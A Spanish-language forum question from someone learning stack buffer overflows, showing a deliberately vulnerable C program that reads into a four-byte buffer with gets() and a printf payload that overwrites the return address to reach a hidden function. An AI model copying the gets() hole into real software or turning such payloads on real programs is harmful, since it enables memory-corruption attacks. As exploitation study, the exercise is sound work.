Cuando descargo una copia de un programa vulnerable y trato de explotarlo mediante un desbordamiento de búfer (cualquier función interna que llame como carga), funciona.
Sin embargo, cuando hice un mismo tipo de programa vulnerable en C, no puedo explotarlo y no tengo idea de lo que está mal. Comprobando en gdb
, me doy cuenta de que puedo sobrescribir la dirección de retorno en la pila pero todavía tengo un error de segmentación y no se ejecuta mi dirección deseada.
El programa vulnerable:
#include<stdio.h>
input()
{
char a[4];
gets(a);
puts(a);
}
main()
{
input();
printf("\nthis will execute after returning from the function\n");
}
over()
{
printf("this can only be executed by the hacker");
}
Quiero ejecutar la función over()
y usé la carga útil
printf "aaaaaaaa\xb3\x84\x04\x08" | ./my